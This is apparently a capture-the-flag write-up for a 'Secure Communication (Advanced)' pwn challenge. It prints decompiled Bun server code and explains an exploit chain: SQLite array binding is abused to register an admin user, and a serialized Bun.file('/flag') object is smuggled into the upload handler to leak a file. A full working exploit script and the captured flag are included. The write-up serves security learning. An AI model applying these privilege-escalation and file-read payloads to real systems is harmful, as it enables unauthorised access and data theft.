[PWN] Secure Communication (Advanced)

Writeups for PolyU CTF 2026 event.

Secure Communication (Advanced)

0x00 Basic Informations

View notion version: Notion

Attachment

1
-rwxr-xr-x 1 sisubeny sisubeny 96406351 Jan  1  1970 chal*

Service

  • nc chal.polyuctf.com 35075
  • http://chal.polyuctf.com:35075

Hint

  • I don’t think anyone should sneak into the communication, so I disabled all internet access.
1
2
$ file ./chal 
./chal: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=a18c556392ac4ed74a717b297e9ebdd28c018fb5, not stripped

0x01 First Connection

First, I used nc to connect to the service.

1
2
3
$ nc chal.polyuctf.com 35075
My Public Key: MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAqYzEd4RU7Ha1DVTJCZHgSNAfoinRmfODJkUqs4kDEcjVj48/gGXWHzX/vYR37OtpHqbVOgpbUZsdkJiufbrwLOXhtfHkwKP8/o/4sK116PWGTtZcakN3+6OE/ostu1DUxbb+ZzBHGAuWuKKjx/nEyLQNbCGmuqMhdhAp8pDF0ug2Hbq5dsgYfuPsBzAATrzcIeJGmgUtL9/xVxNL1L/bD9oc33+XaeVQVaZhmiwFS9irXK5J6EHvidyJTQRQJmLQX2/gkNqEsPg8YvKoGceWNtq/PHw+WwBadNoaaQX/D4RjO4lgCJHkn8tZxJYMLLkhb3XjEHwHF8j/XRCJBL3CLaZTMtgG66rV1RBtIWas1ID+d8lwoG7FCeJpOHf7CULxqe4fkzgfBOp1OltXxsAzo0oqx+yU2SI7uYaQoeYMeF6Wk1ImJqNchLXR375/uzw046WLwlzWTB2PdoEH1uKDrlU3c8Jx+T1KNL1guQXlSADThz4iNFMt5LZn6gSITX6XeSolQYrxzneXt1aT/GKZEzGYvM8cYGWF6LVhnB+4ELi5F5qGvYX6atTGlpRNYVhdD/8GW+gJqYU4PPbZKyjrL8g2HRz2yDmP5n/t56DFHUOBQ9NYoOtcXsPOk63E3NxI/0EYm+DnO/xJFpTFz1KW2487WXVyTJtm8eRwnlY6678CAwEAAQ==
Your Public Key: 

It’s seems like it keeps the same custom RSA-wrapped command channel with Secure Communication so I modified the solved script for this challenge.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import base64
from pwn import context, remote
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

DEFAULT_HOST = "chal.polyuctf.com"
DEFAULT_PORT = 35075

def main():
    context.log_level = "error"
    io = remote(DEFAULT_HOST, DEFAULT_PORT)
    try:
        io.send(b" ")
        banner = io.recvuntil(b"Your Public Key: ")
        prefix, _, _ = banner.partition(b"Your Public Key: ")
        line = prefix.decode(errors="replace").strip().splitlines()[0]
        if not line.startswith("My Public Key: "):
            raise RuntimeError(f"unexpected banner: {line!r}")

        server_key_b64 = line.split(": ", 1)[1].strip()
        serialization.load_der_public_key(base64.b64decode(server_key_b64))

        private_key = rsa.generate_private_key(public_exponent=65537, key_size=4096)
        public_der = private_key.public_key().public_bytes(
            encoding=serialization.Encoding.DER,
            format=serialization.PublicFormat.SubjectPublicKeyInfo,
        )
        io.sendline(base64.b64encode(public_der))
        reply = io.recvline().decode(errors="replace").rstrip("\r\n")
        print(reply)
    finally:
        io.close()

if __name__ == "__main__":
    main()

Fortunately, its works!

0x02 Decompile the executable

Due to this is the advanced version of Secure Communication, you can literally decompile it by using completely same logic with last challenge!

Secure Communication

1
2
3
4
5
6
7
8
.
├── bundled
│   ├── index.js
│   └── public
│       ├── blog.html
│       ├── contact.html
│       └── index.html
└── metadata.json
  • index.js

      1
      2
      3
      4
      5
      6
      7
      8
      9
     10
     11
     12
     13
     14
     15
     16
     17
     18
     19
     20
     21
     22
     23
     24
     25
     26
     27
     28
     29
     30
     31
     32
     33
     34
     35
     36
     37
     38
     39
     40
     41
     42
     43
     44
     45
     46
     47
     48
     49
     50
     51
     52
     53
     54
     55
     56
     57
     58
     59
     60
     61
     62
     63
     64
     65
     66
     67
     68
     69
     70
     71
     72
     73
     74
     75
     76
     77
     78
     79
     80
     81
     82
     83
     84
     85
     86
     87
     88
     89
     90
     91
     92
     93
     94
     95
     96
     97
     98
     99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    239
    240
    241
    242
    243
    244
    245
    246
    247
    248
    249
    250
    251
    252
    253
    254
    255
    256
    257
    258
    259
    260
    261
    262
    263
    264
    265
    266
    267
    268
    269
    270
    271
    272
    273
    274
    275
    276
    277
    278
    279
    280
    281
    282
    283
    284
    285
    286
    287
    288
    289
    290
    291
    292
    293
    294
    295
    296
    297
    298
    299
    300
    301
    302
    303
    304
    305
    306
    307
    308
    309
    310
    311
    312
    
    // @bun
    import * as a from "crypto";
    var f = null;
    async function S() {
        let { publicKey: s, privateKey: r } = a.generateKeyPairSync("rsa", {
            modulusLength: 4096,
            publicExponent: 65537,
            publicKeyEncoding: { type: "spki", format: "der" },
            privateKeyEncoding: { type: "pkcs8", format: "pem" },
        }),
            n = a.createPublicKey({ key: s, format: "der", type: "spki" }),
            p = a.createPrivateKey({ key: r, format: "pem", type: "pkcs8" });
        f = { publicKey: n, privateKey: p };
    }
    async function B() {
        if (!f) await S();
        return (
            f.publicKey
                .export({ type: "spki", format: "der" })
                .toString("base64")
                .match(/.{1,64}/g)?.join(`
    `) || ""
        );
    }
    var d = null;
    async function k(s) {
        let r = s.replace(/\s/g, ""),
            n = Buffer.from(r, "base64");
        d = a.createPublicKey({ key: n, format: "der", type: "spki" });
    }
    async function o(s) {
        if (!d) throw Error("No user public key imported");
        let r = Buffer.from(s, "utf8");
        return a
            .publicEncrypt(
                {
                    key: d,
                    padding: a.constants.RSA_PKCS1_OAEP_PADDING,
                    oaepHash: "sha512",
                },
                r,
            )
            .toString("base64");
    }
    async function w(s) {
        if (!f) throw Error("Server keypair not generated");
        let r = Buffer.from(s, "base64");
        return a
            .privateDecrypt(
                {
                    key: f.privateKey,
                    padding: a.constants.RSA_PKCS1_OAEP_PADDING,
                    oaepHash: "sha512",
                },
                r,
            )
            .toString("utf8");
    }
    import { Database as $ } from "bun:sqlite";
    var u = new $(":memory:");
    u.run(
        "CREATE TABLE users (id INTEGER PRIMARY KEY, username STRING, pin INTEGER, admin BOOLEAN)",
    );
    var b = Date.now();
    b -= b % 5000;
    var A = u.prepare("INSERT INTO users (username, pin, admin) VALUES (?, ?, ?)");
    A.run("admin", BigInt(b) ** 2n, !0);
    async function K(s, r, n) {
        u.prepare("INSERT INTO users (username, pin, admin) VALUES (?, ?, ?)").run(
            s,
            r,
            !1,
        );
    }
    async function v(s, r) {
        let p = u.prepare("SELECT * FROM users WHERE username = ?").get(s);
        if (!p) return !1;
        return p.pin === r;
    }
    function x(s) {
        let n = u.prepare("SELECT * FROM users WHERE username = ?").get(s);
        if (!n) return !1;
        return n.admin;
    }
    import { deserialize as R } from "bun:jsc";
    var { embeddedFiles: g } = globalThis.Bun;
    import { parseArgs as O } from "util";
    import { readdir as h, rm as M } from "fs/promises";
    var P = Bun.env.PORT ? parseInt(Bun.env.PORT) : 8080,
        { values: U, positionals: E } = O({
            args: Bun.argv,
            options: {},
            strict: !0,
            allowPositionals: !0,
        });
    (async () => {
        if (E.length >= 3 && E[2] === "update") {
            console.log("Updating...");
            try {
                let l = await fetch("https://192.168.0.10:8443/");
                if (l.ok) {
                    let c = await l.arrayBuffer();
                    await Bun.write(Bun.argv[0], Buffer.from(c));
                }
            } catch { }
            (console.log("Update successful."), process.exit(0));
        }
        let s = setTimeout(async () => {
            (console.log("My Public Key:", (await B()).replace(/\s/g, "")),
                process.stdout.write("Your Public Key: "));
        }, 500),
            r = 0,
            n = "",
            p = !1,
            m = null;
        for await (let l of console) {
            if (s && r === 0) clearTimeout(s);
            if (l.includes("HTTP")) {
                ((r = -1),
                    (m = await Bun.connect({
                        hostname: "127.0.0.1",
                        port: P,
                        socket: {
                            data(c, e) {
                                process.stdout.write(e);
                            },
                            open(c) {
                                c.write(
                                    l +
                                    `
    `,
                                );
                            },
                            close(c, e) {
                                ((m = null),
                                    console.log("Connection closed.", e),
                                    process.exit(0));
                            },
                            drain(c) { },
                            error(c, e) { },
                            connectError(c, e) { },
                            end(c) { },
                            timeout(c) { },
                        },
                    })));
                continue;
            }
            switch (r) {
                case -1:
                    if (m)
                        m.write(
                            l +
                            `
    `,
                        );
                    break;
                case 0:
                    try {
                        (await k(l.trim()),
                            console.log("Public Key imported successfully."),
                            (r = 1));
                    } catch {
                        (console.log("Invalid Public Key. Please try again."),
                            process.stdout.write("Your Public Key: "));
                    }
                    break;
                case 1:
                    try {
                        await w(l);
                    } catch {
                        console.log("Echo:", l);
                        continue;
                    }
                case 2:
                    let c = await w(l);
                    try {
                        let e = R(Buffer.from(c, "base64"));
                        if (e.command !== "login")
                            console.log("Received message:", Bun.JSON5.stringify(e));
                        if (e.command === "exit")
                            (console.log("Exiting..."), process.exit(0));
                        else if (e.command === "register")
                            try {
                                if (e.username && e.pin)
                                    (await K(e.username, e.pin, !1),
                                        console.log(await o(`Registered user: ${e.username}`)));
                                else console.log(await o("Missing username or pin"));
                            } catch {
                                console.log(await o("Registration Error"));
                            }
                        else if (e.command === "login")
                            try {
                                if (e.username && e.pin)
                                    if (await v(e.username, parseInt(e.pin)))
                                        ((n = e.username),
                                            (p = x(n)),
                                            console.log(await o(`Login successful. Welcome, ${n}!`)));
                                    else console.log(await o("Login failed. Invalid credentials."));
                                else console.log(await o("Missing username or pin"));
                            } catch {
                                console.log(await o("Login Error"));
                            }
                        else if (e.command === "ping")
                            if (n)
                                if (e.ip)
                                    try {
                                        let t = Bun.spawnSync({
                                            cmd: ["ping", "-c", "1", e.ip],
                                            stdout: "pipe",
                                            stderr: "pipe",
                                        });
                                        if (t.exitCode === 0)
                                            for (let i of t.stdout.toString().split(`
    `))
                                                console.log(await o(i));
                                        else
                                            for (let i of t.stderr.toString().split(`
    `))
                                                console.log(await o(i));
                                    } catch {
                                        console.log(await o("Ping Command Error"));
                                    }
                                else console.log(await o("Missing IP address"));
                            else console.log(await o("Please login first."));
                        else if (e.command === "reset") {
                            for (let t of await h("/tmp"))
                                await M(`/tmp/${t}`, { recursive: !0 });
                            if (g.length === 0)
                                try {
                                    for (let t of await h(import.meta.dir + "/public"))
                                        (console.log("Resetting file:", t),
                                            await Bun.write(
                                                `/tmp/${t}`,
                                                Bun.file(`${import.meta.dir}/public/${t}`),
                                            ));
                                } catch { }
                            else
                                for (let t of g) {
                                    let i = t.name;
                                    if (!i.startsWith("public/")) continue;
                                    ((i = i.replace(/^public\//, "")),
                                        await Bun.write(`/tmp/${i}`, await t.arrayBuffer()));
                                }
                            console.log(await o("Environment reset completed."));
                        } else if (e.command === "start") {
                            if (g.length === 0)
                                try {
                                    for (let t of await h(import.meta.dir + "/public"))
                                        (console.log("Resetting file:", t),
                                            await Bun.write(
                                                `/tmp/${t}`,
                                                Bun.file(`${import.meta.dir}/public/${t}`),
                                            ));
                                } catch { }
                            else
                                for (let t of g) {
                                    let i = t.name;
                                    if (!i.startsWith("public/")) continue;
                                    ((i = i.replace(/^public\//, "")),
                                        await Bun.write(`/tmp/${i}`, await t.arrayBuffer()));
                                }
                            (Bun.serve({
                                port: P,
                                async fetch(t) {
                                    let i = new URL(t.url).pathname,
                                        y = Bun.file(i === "/" ? "/tmp/index.html" : `/tmp${i}`);
                                    if (await y.exists()) return new Response(y);
                                    return new Response("Not found", { status: 404 });
                                },
                            }),
                                console.log(await o(`Server started on port ${P}.`)));
                        } else if (e.command === "upload")
                            if (!n) console.log(await o("Please login first."));
                            else if (!p) console.log(await o("Admin privileges required."));
                            else if (e.files && Array.isArray(e.files))
                                for (let t of e.files) {
                                    let i = t.content;
                                    if (
                                        t.name.match(/^[a-zA-Z0-9_\-\.]html$/) ||
                                        i.type === "text/html"
                                    ) {
                                        let y = `/tmp/${t.name}`;
                                        (await Bun.write(y, await i.content),
                                            console.log(await o(`File uploaded: ${t.name}`)));
                                    } else
                                        console.log(await o(`Skipping invalid file type: ${t.name}`));
                                }
                            else console.log(await o("No files provided for upload."));
                        else if (e.command === "update")
                            if (!n) console.log(await o("Please login first."));
                            else if (!p) console.log(await o("Admin privileges required."));
                            else if (
                                Bun.spawnSync({
                                    cmd: [process.execPath, "update"],
                                    stdout: "pipe",
                                    stderr: "pipe",
                                    env: e.env || process.env,
                                }).exitCode === 0
                            )
                                (console.log(
                                    await o("Update successful. Please restart the application."),
                                ),
                                    process.exit(0));
                            else console.log(await o("Update Error"));
                        else console.log(await o("Unknown command"));
                    } catch {
                        console.log("Deserialization Error");
                    }
                    break;
            }
        }
    })();
    

0x03 Static analysis

By investigation, the server-side appears following behavior:

  1. The service is not a plain-text command server. It first performs an RSA-OAEP handshake with SHA-512: the server prints its public key, the client submits its own public key, and all subsequent commands are exchanged as encrypted base64 strings.

  2. Incoming commands are decrypted and then deserialized with bun:jsc, which means the server accepts not only ordinary JSON-like data, but also Bun-native serialized objects.

  3. User data is stored in an in-memory SQLite database. An initial admin account is created at startup.

  4. The register handler calls: INSERT INTO users (username, pin, admin) VALUES (?, ?, ?) with .run(username, pin, false).

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    
    var A = u.prepare("INSERT INTO users (username, pin, admin) VALUES (?, ?, ?)");
    A.run("admin", BigInt(b) ** 2n, !0);
    
    async function K(s, r, n) {
        u.prepare("INSERT INTO users (username, pin, admin) VALUES (?, ?, ?)").run(
            s,
            r,
            !1,
        );
    }
    

    However, because Bun SQLite expands an array passed as the first argument across all placeholders, an attacker can supply username as an array and set admin = true.

  5. After login, the service tracks the current username and whether the session has admin privileges.

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    
                        else if (e.command === "login")
                            try {
                                if (e.username && e.pin)
                                    if (await v(e.username, parseInt(e.pin)))
                                        ((n = e.username),
                                            (p = x(n)),
                                            console.log(await o(`Login successful. Welcome, ${n}!`)));
                                    else console.log(await o("Login failed. Invalid credentials."));
                                else console.log(await o("Missing username or pin"));
                            } catch {
                                console.log(await o("Login Error"));
                            }
    
  6. The start command launches an HTTP server on the same challenge port and serves files from /tmp.

    • Click to expand

       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      
                          } else if (e.command === "start") {
                              if (g.length === 0)
                                  try {
                                      for (let t of await h(import.meta.dir + "/public"))
                                          (console.log("Resetting file:", t),
                                              await Bun.write(
                                                  `/tmp/${t}`,
                                                  Bun.file(`${import.meta.dir}/public/${t}`),
                                              ));
                                  } catch { }
                              else
                                  for (let t of g) {
                                      let i = t.name;
                                      if (!i.startsWith("public/")) continue;
                                      ((i = i.replace(/^public\//, "")),
                                          await Bun.write(`/tmp/${i}`, await t.arrayBuffer()));
                                  }
                              (Bun.serve({
                                  port: P,
                                  async fetch(t) {
                                      let i = new URL(t.url).pathname,
                                          y = Bun.file(i === "/" ? "/tmp/index.html" : `/tmp${i}`);
                                      if (await y.exists()) return new Response(y);
                                      return new Response("Not found", { status: 404 });
                                  },
                              }),
                                  console.log(await o(`Server started on port ${P}.`)));
                          }
      
  7. The upload command is restricted to admin users. It accepts an array of files and writes await content.content directly to /tmp/<name> with Bun.write(...).

    • Click to expend

       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      12
      13
      14
      15
      16
      17
      
                          } else if (e.command === "upload")
                              if (!n) console.log(await o("Please login first."));
                              else if (!p) console.log(await o("Admin privileges required."));
                              else if (e.files && Array.isArray(e.files))
                                  for (let t of e.files) {
                                      let i = t.content;
                                      if (
                                          t.name.match(/^[a-zA-Z0-9_\-\.]html$/) ||
                                          i.type === "text/html"
                                      ) {
                                          let y = `/tmp/${t.name}`;
                                          (await Bun.write(y, await i.content),
                                              console.log(await o(`File uploaded: ${t.name}`)));
                                      } else
                                          console.log(await o(`Skipping invalid file type: ${t.name}`));
                                  }
                              else console.log(await o("No files provided for upload."));
      
  8. Since the command channel uses bun:jsc, an attacker can serialize a Bun.file("/flag") object and smuggle it into the upload handler, causing the server to copy /flag into the web-accessible /tmp directory.

  9. Internet access being disabled only blocks outbound exfiltration; it does not prevent local file-copy abuse through the built-in upload and HTTP serving logic.

Thus, we can figure out the whole exploit chain.

0x04 Exploit chain

  1. Complete the RSA-based handshake so the client can communicate with the service correctly.
  2. Abuse the SQLite array-binding behavior in register to create a user with admin = true.
  3. Log in as the newly created admin user.
  4. Invoke the admin-only start command to launch the built-in HTTP file server.
  5. Send an upload payload containing a bun:jscserialized Bun.file("/flag") object.
  6. Make the server copy the contents of /flag into /tmp/flag.html.
  7. Retrieve /flag.html over HTTP and read the flag.

0x05 Flow

  1. The registration function:

    1
    
    u.prepare("INSERT INTO users (username, pin, admin) VALUES (?, ?, ?)").run(username, pin, false);
    
  2. With Bun sqlite, if the first argument is an array, it is expanded across the placeholders. The expected hard coded admin privilege was bypassed.

    1
    
    {"command":"register","username":["myuser",1337,true],"pin":1337}
    
  3. And causes sqlite to insert the following data:

    1
    2
    3
    
    username = "pwnuser"
    pin      = 31337
    admin    = true
    

    and leads to vertical privilege escalation.

  4. By sending this command:

    1
    
    {"command":"start"}
    

    The server-side launches a file server that servers files from /tmp on the same port.

  5. The upload handler accepts deserialized objects and writes await content.content directly with Bun.write(...). Using bun:jsc, serialize a payload like:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    
    {
      command: "upload",
      files: [
        {
          name: "flag.html",
          content: {
            type: "text/html",
            content: Bun.file("/flag")
          }
        }
      ]
    }
    
  6. After deserialization server-side, content.content is still a Bun.file("/flag") blob-like objet, so:

    1
    
    await Bun.write("/tmp/flag.html", await content.content)
    
  7. Ultimately get the flag in

    1
    
    http://chal.polyuctf.com:35075/flag.html
    

0x06 Script

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
import base64
import shutil
import subprocess
import time
import urllib.request

from pwn import context, remote
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding, rsa

DEFAULT_HOST = "chal.polyuctf.com"
DEFAULT_PORT = 35127
DEFAULT_USER = "pwnuser"
DEFAULT_PIN = 31337

def rsa_encrypt(pubkey, text):
    return base64.b64encode(
        pubkey.encrypt(
            text.encode(),
            padding.OAEP(
                mgf=padding.MGF1(algorithm=hashes.SHA512()),
                algorithm=hashes.SHA512(),
                label=None,
            ),
        )
    ).decode()

def rsa_decrypt(privkey, b64text):
    data = base64.b64decode(b64text)
    return privkey.decrypt(
        data,
        padding.OAEP(
            mgf=padding.MGF1(algorithm=hashes.SHA512()),
            algorithm=hashes.SHA512(),
            label=None,
        ),
    ).decode(errors="replace")

def bun_serialize(mode, *args):
    bun = shutil.which("bun")
    if bun is None:
        raise FileNotFoundError("bun not found in PATH")

    js = r"""
import { serialize } from "bun:jsc";

const [mode, ...args] = Bun.argv.slice(1);
let payload;

if (mode === "register") {
  const [username, pin] = args;
  payload = {
    command: "register",
    username: [username, Number(pin), true],
    pin: Number(pin),
  };
} else if (mode === "login") {
  const [username, pin] = args;
  payload = {
    command: "login",
    username,
    pin: Number(pin),
  };
} else if (mode === "start") {
  payload = { command: "start" };
} else if (mode === "upload") {
  const [name, sourcePath] = args;
  payload = {
    command: "upload",
    files: [
      {
        name,
        content: {
          type: "text/html",
          content: Bun.file(sourcePath),
        },
      },
    ],
  };
} else {
  throw new Error(`unsupported mode: ${mode}`);
}

    process.stdout.write(Buffer.from(serialize(payload)).toString("base64"));
"""
    proc = subprocess.run(
        [bun, "-e", js, mode, *map(str, args)],
        capture_output=True,
        text=True,
        check=True,
    )
    return proc.stdout.strip()

class ExploitClient:
    def __init__(self, host, port, verbose=False):
        self.host = host
        self.port = port
        self.verbose = verbose
        self.io = None
        self.private_key = None
        self.public_key = None
        self.server_key = None

    def log(self, msg):
        if self.verbose:
            print(msg)

    def connect(self):
        self.io = remote(self.host, self.port)
        self.io.send(b" ")

        banner = self.io.recvuntil(b"Your Public Key: ")
        prefix, _, _ = banner.partition(b"Your Public Key: ")
        line = prefix.decode(errors="replace").strip().splitlines()[0]
        if not line.startswith("My Public Key: "):
            raise RuntimeError(f"unexpected banner: {line!r}")

        server_key_b64 = line.split(": ", 1)[1].strip()
        self.server_key = serialization.load_der_public_key(base64.b64decode(server_key_b64))

        self.private_key = rsa.generate_private_key(public_exponent=65537, key_size=4096)
        self.public_key = self.private_key.public_key()
        public_der = self.public_key.public_bytes(
            encoding=serialization.Encoding.DER,
            format=serialization.PublicFormat.SubjectPublicKeyInfo,
        )
        self.io.sendline(base64.b64encode(public_der))

        reply = self.io.recvline().decode(errors="replace").rstrip("\r\n")
        self.log(f"[handshake] {reply}")
        return reply

    def send_serialized(self, payload_b64):
        ciphertext = rsa_encrypt(self.server_key, payload_b64)
        self.io.sendline(ciphertext.encode())

    def recv_plain(self):
        line = self.io.recvline().decode(errors="replace").strip()
        if not line:
            return ""
        try:
            return rsa_decrypt(self.private_key, line)
        except Exception:
            return line

    def run_cmd(self, mode, *args):
        payload_b64 = bun_serialize(mode, *args)
        self.send_serialized(payload_b64)
        reply = self.recv_plain()
        self.log(f"[{mode}] {reply}")
        return reply

    def close(self):
        if self.io is not None:
            self.io.close()
            self.io = None

def fetch_flag(host, port, path="/flag.html", retries=10, delay=0.3):
    url = f"http://{host}:{port}{path}"
    last_err = None
    for _ in range(retries):
        try:
            with urllib.request.urlopen(url, timeout=3) as resp:
                return resp.read().decode(errors="replace")
        except Exception as exc:
            last_err = exc
            time.sleep(delay)
    raise RuntimeError(f"failed to fetch {url}: {last_err}")

def main():
    context.log_level = "error"
    client = ExploitClient(DEFAULT_HOST, DEFAULT_PORT, verbose=True)

    try:
        client.connect()
        print("[*] registering admin user via sqlite array binding")
        print(client.run_cmd("register", DEFAULT_USER, DEFAULT_PIN))

        print("[*] logging in")
        login_reply = client.run_cmd("login", DEFAULT_USER, DEFAULT_PIN)
        print(login_reply or "(blank login response; session may still be authenticated)")

        print("[*] starting HTTP file server")
        print(client.run_cmd("start"))

        print("[*] uploading /flag as /tmp/flag.html")
        print(client.run_cmd("upload", "flag.html", "/flag"))

        print("[*] fetching flag over HTTP")
        body = fetch_flag(DEFAULT_HOST, DEFAULT_PORT)
        print(body.strip())
    finally:
        client.close()

if __name__ == "__main__":
    main()

0x07 Flag

1
PUCTF26{t8p_h77p_t0g5t2e9_WvawwGxOjVhfRqHJf45gC43uR7YK3Msx}
Built with Hugo
Theme Stack designed by Jimmy